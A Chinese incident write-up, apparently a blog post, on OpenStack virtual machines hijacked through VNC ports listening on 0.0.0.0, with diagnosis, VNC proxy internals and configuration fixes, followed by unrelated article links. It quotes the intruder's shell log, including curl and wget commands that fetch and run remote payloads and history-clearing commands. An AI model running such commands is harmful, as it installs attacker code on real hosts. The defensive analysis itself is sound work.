一:问题定位

现象:

  近期发现有几台openstack云主机被修改密码并被肉鸡。

黑客操作日志:

-- :: ##### root tty1 :  #### -- :: top
-- :: ##### root tty1 : #### -- :: clear
-- :: ##### root tty1 : #### -- :: nvidia-smi
-- :: ##### root tty1 : #### -- :: cd /opt
-- :: ##### root tty1 : #### -- :: ls
-- :: ##### root tty1 : #### -- :: ls -a
-- :: ##### root tty1 : #### -- :: curl 666y.atwebpages.com/yamit.txt -o yamit && chmod +x yamit &&./yamit
-- :: ##### root tty1 : #### -- :: ls
-- :: ##### root tty1 : #### -- :: cat yamit
-- :: ##### root tty1 : #### -- :: histoy -c
-- :: ##### root tty1 : ####
-- :: ##### root tty1 : #### -- :: rm -rf yamit
-- :: ##### root tty1 : #### -- :: top
-- :: ##### root tty1 : #### -- :: ear
-- :: ##### root tty1 : ####
-- :: ##### root tty1 : #### -- :: exit
-- :: ##### root tty1 : #### -- :: clear
-- :: ##### root tty1 : #### -- :: exit
-- :: ##### root tty1 : #### -- :: ifconfig
-- :: ##### root tty1 : #### -- :: ping ya.ru
-- :: ##### root tty1 : #### -- :: wget https://pastebin.com/raw/BZk9zRE2
-- :: ##### root tty1 : #### -- :: bash B
-- :: ##### root tty1 : #### -- :: bash BZk9zRE2
-- :: ##### root tty1 : #### -- :: rm BZk9zRE2
-- :: ##### root tty1 : #### -- :: history =c

登陆方式不是通过暴力破解的方式进行登陆此机器,同时看日志看到登陆前有重启虚拟机的行为。

根据重启日志,应该是黑客通过某种方式重启 OpenStack 中的虚拟机,目前有以下几种方式

  1.有权限登陆 OpenStack 物理机,在物理机上操作虚拟机[排除--根据操作日志]

  2.有权限登陆 OpenStack dashboard,然后界面上 VNC 操作虚拟机[排除--根据 web 界面重启日志]

  3.使用 VNC 客户端直接操作 OpenStack 中的虚拟机

根据以上方法,确认是以 VNC 客户端直接操作 OpenStack 中的虚拟机导致。

二:处理方法

2.1VNC

VNC (Virtual Network Computer) 是虚拟网络计算机的缩写

2 .2用 VNC 客户端查看 openstack 创建的虚拟机

  在云计算的环境中,实际上更多的时候是使用 VNC 工具去查看云系统中的 VM。以下记录如何查看的方法:

  计算节点查看虚拟机的 ID(libvird 的,非 instanc_id)

[root@compute1 ~]# virsh list --all
Id Name State
----------------------------------------------------
instance-000000b7 running
instance-000000d3 running
instance-000000de running#############比如这台
- instance-000000ac shut off
- instance-000000b2 shut off
- instance-000000b3 shut off
- instance-000000bb shut off

找到需要连接的虚拟机的 ID 号,查看其中暴露的端口:

[root@compute1 ~]# virsh vncdisplay
:

  然后在 VNC 查看工具中输入相关连接:

  在 VNC 客户端上输入 对应的计算节点 IP:1

  点击 Connect 后就可以连接上 openstack 创建的虚拟机。

【备注】以上采用的方法,实际是直接连接的底层的 libvirt,本质上和上层的 openstack 无太大关系,因此也可以用于其它平台。

2.3 查看外网可以连接的实例

root 权限登陆计算节点后

#netstat -tanp | grep kvm | grep LISTEN

输出的内容中,监听地址为0.0.0.0的,都可以外网直接访问此实例

3 OpenStack 中 VNC 分析

3.1 VNC Proxy 的功能

  将公网 (public network) 和私网 (private network) 隔离

  • VNC client 运行在公网上,VNCServer 运行在私网上,VNC Proxy 作为中间的桥梁将二者连接起来
  • VNC Proxy 通过 token 对 VNC Client 进行验证
  • VNC Proxy 不仅仅使得私网的访问更加安全,而且将具体的 VNC Server 的实现分离,可以支持不同 Hypervisor 的 VNC Server 但不影响用户体验

3.2 VNC Proxy 的运行过程

  • (01) 一个用户试图从浏览器里面打开连接到虚拟机的 VNC Client
  • (02) 浏览器向 nova-api 发送请求,要求返回访问 vnc 的 url
  • (03) nova-api 调用 nova-compute 的 get vnc console 方法,要求返回连接 VNC 的信息
  • (04) nova-compute 调用 libvirt 的 get vnc console 函数
  • (05) libvirt 会通过解析虚拟机运行的 /etc/libvirt/qemu/instance-0000000c.xml 文件来获得 VNC Server 的信息
  • (06) libvirt 将 host, port 等信息以 json 格式返回给 nova-compute
  • (07) nova-compute 会随机生成一个 UUID 作为 Token
  • (08) nova-compute 将 libvirt 返回的信息以及配置文件中的信息综合成 connect_info 返回给 nova-api
  • (09) nova-api 会调用 nova-consoleauth 的 authorize_console 函数
  • (10) nova-consoleauth 会将 instance –> token, token –> connect_info 的信息 cache 起来
  • (11) nova-api 将 connect_info 中的 access url 信息返回给浏览器:http://172.24.1.1:6080/vnc_auto.html?token=7efaee3f-eada-4731-a87c-e173cbd25e98&title=helloworld%289169fdb2-5b74-46b1-9803-60d2926bd97c%29
  • (12) 浏览器会试图打开这个链接
  • (13) 这个链接会将请求发送给 nova-novncproxy
  • (14) nova-novncproxy 调用 nova-consoleauth 的 check_token 函数
  • (15) nova-consoleauth 验证了这个 token,将这个 instance 对应的 connect_info 返回给 nova-novncproxy
  • (16) nova-novncproxy 通过 connect_info 中的 host, port 等信息,连接 compute 节点上的 VNC Server,从而开始了 proxy 的工作

3.3 NOVA 中 VNC 相关配置

  • vnc_enabled=True 启用虚拟机的 VNC 功能。
  • vncserver_listen=0.0.0.0
    • 127.0.0.1(默认),即只可以从本机进行访问,缺点是浏览器 VNC 访问实例也会失败
    • 管理网的 IP 地址
    • 0.0.0.0 主要是考虑到动态迁移时,目的宿主机没有相应的 IP 地址,动态迁移会失败。
  • vncserver_proxyclient_address 该地址指明 vnc proxy 应该通过那个 IP 地址来连接 vncserver,通常是管理网 IP 地址。
  • novncproxy_base_url=http://SERVICEHOST:6080/vncauto.html 指定浏览器 client 应该连接的地址。

  如果 OpenStack 平台架设在公网上,则 vncserver_listen 需要配置为管理网的 IP 地址,否则设置为 0.0.0.0 就会使得外网用户可以直接访问虚拟机,非常危险

3.4 重新设置监听地址后老实例的处理方法

  计算几点重新设置监听地址后(如从0.0.0.0,修改为计算节点管理网段的 IP),老的实例的对外的 VNC 仍然是 0.0.0.0

  那是因为 /etc/libvirt/qemu/instance-000000xx.xml 中配置的监听地址没有变化

  可以通过硬重启实例使之(老实例)生效

云计算---记一次黑客攻击openstack创建的虚拟机的更多相关文章

  1. VMware 接入 Openstack — 使用 Openstack 创建 vCenter 虚拟机

    目录 目录 软件环境 前言 Openstack 接口驱动 使用 KVM 在 Compute Node 上创建虚拟机的流程 使用 VCDirver 在 vCenter 上创建虚拟机的流程 配置 vCen ...

  2. openstack创建一个虚拟机的过程

      为什要用云? 一.简单的说就是对资源更加合理的分配,使用,比如硬件的数量,带宽等等这些,因为你不能机器买来不需要了再卖掉(当然也可以),带宽跟机房签合同得来一年的,中间不够了也不能加,超了也不退钱 ...

  3. Avast!:小型网站最易遭受的3种黑客攻击

    avast是捷克研发的杀毒软件,从网站上找到一篇avast关于网站安全的文章,觉得颇有意思,因此想到翻译过来与大家共享.有不对之处还望大家批评指正. 一个拥有上万访问者的小型网站管理员发来一份信,向我 ...

  4. CTF---安全杂项入门第三题 这是捕获的黑客攻击数据包,Administrator用户的密码在此次攻击中泄露了,你能找到吗?

    这是捕获的黑客攻击数据包,Administrator用户的密码在此次攻击中泄露了,你能找到吗?分值:30 来源: 2014sctf 难度:难 参与人数:3918人 Get Flag:384人 答题人数 ...

  5. Openstack创建镜像

    如何创建生产用的Openstack镜像 参考官方文档https://docs.openstack.org/image-guide/centos-image.html 1,创建虚拟机硬盘 qemu-im ...

  6. openstack 创建镜像生成虚拟机不知道密码如何解决

    背景: openstack juno版本,使用glance创建centos7镜像,然后生成虚拟机. 操作步骤: 首先获取镜像http://cloud.centos.org/centos/7/image ...

  7. 3种不走寻常路的黑客攻击泄露&如何保护自己?

    数据泄露和黑客攻击现在已经成为我们日常生活中的常见部分,除非您是网络安全专业人员或您的个人数据受到威胁,否则您实际上并不关心是否存在新的漏洞. 正如美国联邦贸易委员会指出的那样,万豪酒店连锁店的超过5 ...

  8. TLS漏洞:超过50万个电子邮件服务器容易受黑客攻击,太可怕了

    2019年在流行的开源Exim电子邮件服务器软件中发现了一个关键的远程执行代码漏洞,至少有超过50万个电子邮件服务器容易受到远程黑客攻击.Exim是一种广泛使用的开源邮件传输代理(MTA)软件,为类似 ...

  9. 伊朗Cisco路由器遭黑客攻击 全国互联网几乎瘫痪

    2018年4月9日,黑客攻击了伊朗的国家信息数据中心.伊朗internet信息安全部称,此次大规模袭击影响了全球约二十万个思科Cisco路由交换器,也包括伊朗的几千个路由器.攻击也影响了互联网服务供应 ...

随机推荐

  1. [LeetCode] 81. Search in Rotated Sorted Array II 在旋转有序数组中搜索 II

    Follow up for "Search in Rotated Sorted Array":What if duplicates are allowed? Would this ...

  2. 使用Centos7.5+Nginx+Gunicorn+Django+Python3部署blog项目

    项目开发环境是 Python3.5.2+Django1.10.6+Sqlite3+Centos7.5+Nginx1.12.2+Gunicorn 发布出来供需要的同学借鉴参考.文中如有错误请多多指正! ...

  3. LeetCode 566. 重塑矩阵(Reshape the Matrix)

    566. 重塑矩阵 566. Reshape the Matrix 题目描述 LeetCode LeetCode LeetCode566. Reshape the Matrix简单 Java 实现 c ...

  4. LeetCode 537. 复数乘法(Complex Number Multiplication)

    537. 复数乘法 537. Complex Number Multiplication 题目描述 Given two strings representing two complex numbers ...

  5. LeetCode 131. 分割回文串(Palindrome Partitioning)

    131. 分割回文串 131. Palindrome Partitioning 题目描述 给定一个字符串 s,将 s 分割成一些子串,使每个子串都是回文串. 返回 s 所有可能的分割方案. LeetC ...

  6. ubuntu18.04LTS服务器安装matlab4a

    下载matlab安装文件共包含三个文件:MATHWORKS_R2014A.part1.rar, MATHWORKS_R2014A.part2.rar, 相关文件(Crack)解压:$sudo apt ...

  7. 09 Servlet相关知识点---学习笔记

    1.概念:运行在服务器端的小程序 Servlet就是一个接口,定义了Java类被浏览器访问到(tomcat识别)的规则.将来我们自定义一个类,实现Servlet接口,复写方法. 2.快速入门:(1)创 ...

  8. call、apply、bind的区别,模拟call、apply和bind的实现

    bind:bind绑定完this的指向后会返回一个新的函数体,不会被立即调用   call&apply:绑定完this的指向后会立即调用   call与apply的区别:     call:第 ...

  9. 【C++札记】多态

    C++中多态是面向对象设计思想的重要特性,同名具有不同功能函数,该函数调用过程执行不同的功能.多态的原理是通过一张虚函数表(Virtual Table)实现的.动多态会牺牲一些空间和效率来最终实现动态 ...

  10. C++容器简介1—stack

    一.简介 stack是一种容器适配器(STL的容器分为顺序容器和关联容器,容器适配器),被设计来用于操作先进后出(FILO)结构的情景,在这种情况下, 元素的插入和删除都只能在容器的尾部进行. sta ...